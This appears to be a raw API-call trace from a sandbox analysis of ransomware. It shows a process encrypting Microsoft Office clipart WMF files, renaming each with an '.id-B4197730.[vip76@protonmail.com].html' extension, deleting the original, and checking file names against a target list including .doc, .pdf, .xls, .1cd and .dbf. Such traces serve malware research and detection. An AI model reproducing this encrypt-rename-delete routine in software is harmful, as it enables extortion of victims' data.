	[0075.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.689] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1044) returned 1
	[0075.690] CloseHandle (hObject=0x384) returned 1
	[0075.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220
	[0075.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.690] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.690] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0075.690] GetLastError () returned 0x0
	[0075.690] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x414, lpOverlapped=0x0) returned 1
	[0075.692] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x420, lpOverlapped=0x0) returned 1
	[0075.693] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.693] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.693] SetEndOfFile (hFile=0x37c) returned 1
	[0075.693] CloseHandle (hObject=0x37c) returned 1
	[0075.694] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.694] SetEndOfFile (hFile=0x384) returned 1
	[0075.695] CloseHandle (hObject=0x384) returned 1
	[0075.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.696] lstrlenW (lpString=".doc") returned 4
	[0075.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.696] lstrlenW (lpString=".docx") returned 5
	[0075.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.696] lstrlenW (lpString=".pdf") returned 4
	[0075.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.696] lstrlenW (lpString=".xls") returned 4
	[0075.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.696] lstrlenW (lpString=".xlsx") returned 5
	[0075.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.696] lstrlenW (lpString=".ppt") returned 4
	[0075.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.696] lstrlenW (lpString=".zip") returned 4
	[0075.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.696] lstrlenW (lpString=".rar") returned 4
	[0075.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.696] lstrlenW (lpString=".bz2") returned 4
	[0075.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.696] lstrlenW (lpString=".7z") returned 3
	[0075.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString=".dbf") returned 4
	[0075.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString=".1cd") returned 4
	[0075.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString=".jpg") returned 4
	[0075.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString=".doc") returned 4
	[0075.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString=".docx") returned 5
	[0075.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.697] lstrlenW (lpString=".pdf") returned 4
	[0075.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString=".xls") returned 4
	[0075.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.697] lstrlenW (lpString=".xlsx") returned 5
	[0075.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.697] lstrlenW (lpString=".ppt") returned 4
	[0075.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.697] lstrlenW (lpString=".zip") returned 4
	[0075.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.697] lstrlenW (lpString=".rar") returned 4
	[0075.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString=".bz2") returned 4
	[0075.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.697] lstrlenW (lpString=".7z") returned 3
	[0075.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.698] lstrlenW (lpString=".dbf") returned 4
	[0075.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.698] lstrlenW (lpString=".1cd") returned 4
	[0075.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0075.698] lstrlenW (lpString=".jpg") returned 4
	[0075.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.698] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.698] lstrlenW (lpString="BS00136_.WMF") returned 12
	[0075.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.699] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2166) returned 1
	[0075.699] CloseHandle (hObject=0x384) returned 1
	[0075.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220
	[0075.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.699] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.699] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0075.699] GetLastError () returned 0x0
	[0075.699] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x876, lpOverlapped=0x0) returned 1
	[0075.706] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x880, lpOverlapped=0x0) returned 1
	[0075.707] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.707] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.707] SetEndOfFile (hFile=0x37c) returned 1
	[0075.707] CloseHandle (hObject=0x37c) returned 1
	[0075.708] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.708] SetEndOfFile (hFile=0x384) returned 1
	[0075.709] CloseHandle (hObject=0x384) returned 1
	[0075.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1
	[0075.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0075.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.083] lstrlenW (lpString=".doc") returned 4
	[0076.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.083] lstrlenW (lpString=".docx") returned 5
	[0076.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.083] lstrlenW (lpString=".pdf") returned 4
	[0076.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.083] lstrlenW (lpString=".xls") returned 4
	[0076.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.083] lstrlenW (lpString=".xlsx") returned 5
	[0076.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.083] lstrlenW (lpString=".ppt") returned 4
	[0076.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.083] lstrlenW (lpString=".zip") returned 4
	[0076.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.084] lstrlenW (lpString=".rar") returned 4
	[0076.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString=".bz2") returned 4
	[0076.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString=".7z") returned 3
	[0076.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString=".dbf") returned 4
	[0076.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString=".1cd") returned 4
	[0076.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString=".jpg") returned 4
	[0076.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString=".doc") returned 4
	[0076.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString=".docx") returned 5
	[0076.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.084] lstrlenW (lpString=".pdf") returned 4
	[0076.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString=".xls") returned 4
	[0076.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.084] lstrlenW (lpString=".xlsx") returned 5
	[0076.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.084] lstrlenW (lpString=".ppt") returned 4
	[0076.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.084] lstrlenW (lpString=".zip") returned 4
	[0076.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.085] lstrlenW (lpString=".rar") returned 4
	[0076.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.085] lstrlenW (lpString=".bz2") returned 4
	[0076.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.085] lstrlenW (lpString=".7z") returned 3
	[0076.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.085] lstrlenW (lpString=".dbf") returned 4
	[0076.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.085] lstrlenW (lpString=".1cd") returned 4
	[0076.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0076.085] lstrlenW (lpString=".jpg") returned 4
	[0076.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.085] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.085] lstrlenW (lpString="BS00439_.WMF") returned 12
	[0076.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.097] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2052) returned 1
	[0076.097] CloseHandle (hObject=0x394) returned 1
	[0076.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220
	[0076.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.120] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.120] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.121] GetLastError () returned 0x0
	[0076.121] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x804, lpOverlapped=0x0) returned 1
	[0076.123] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x810, lpOverlapped=0x0) returned 1
	[0076.123] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.124] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.124] SetEndOfFile (hFile=0x338) returned 1
	[0076.124] CloseHandle (hObject=0x338) returned 1
	[0076.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.125] SetEndOfFile (hFile=0x38c) returned 1
	[0076.125] CloseHandle (hObject=0x38c) returned 1
	[0076.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1
	[0076.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.126] lstrlenW (lpString=".doc") returned 4
	[0076.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.126] lstrlenW (lpString=".docx") returned 5
	[0076.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.126] lstrlenW (lpString=".pdf") returned 4
	[0076.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.126] lstrlenW (lpString=".xls") returned 4
	[0076.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.126] lstrlenW (lpString=".xlsx") returned 5
	[0076.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.126] lstrlenW (lpString=".ppt") returned 4
	[0076.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString=".zip") returned 4
	[0076.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.127] lstrlenW (lpString=".rar") returned 4
	[0076.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString=".bz2") returned 4
	[0076.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString=".7z") returned 3
	[0076.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString=".dbf") returned 4
	[0076.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString=".1cd") returned 4
	[0076.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString=".jpg") returned 4
	[0076.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.127] lstrlenW (lpString=".doc") returned 4
	[0076.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString=".docx") returned 5
	[0076.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.127] lstrlenW (lpString=".pdf") returned 4
	[0076.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.127] lstrlenW (lpString=".xls") returned 4
	[0076.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.127] lstrlenW (lpString=".xlsx") returned 5
	[0076.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.127] lstrlenW (lpString=".ppt") returned 4
	[0076.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.128] lstrlenW (lpString=".zip") returned 4
	[0076.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.128] lstrlenW (lpString=".rar") returned 4
	[0076.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.128] lstrlenW (lpString=".bz2") returned 4
	[0076.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.128] lstrlenW (lpString=".7z") returned 3
	[0076.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.128] lstrlenW (lpString=".dbf") returned 4
	[0076.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.128] lstrlenW (lpString=".1cd") returned 4
	[0076.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0076.128] lstrlenW (lpString=".jpg") returned 4
	[0076.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.128] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.128] lstrlenW (lpString="BS00443_.WMF") returned 12
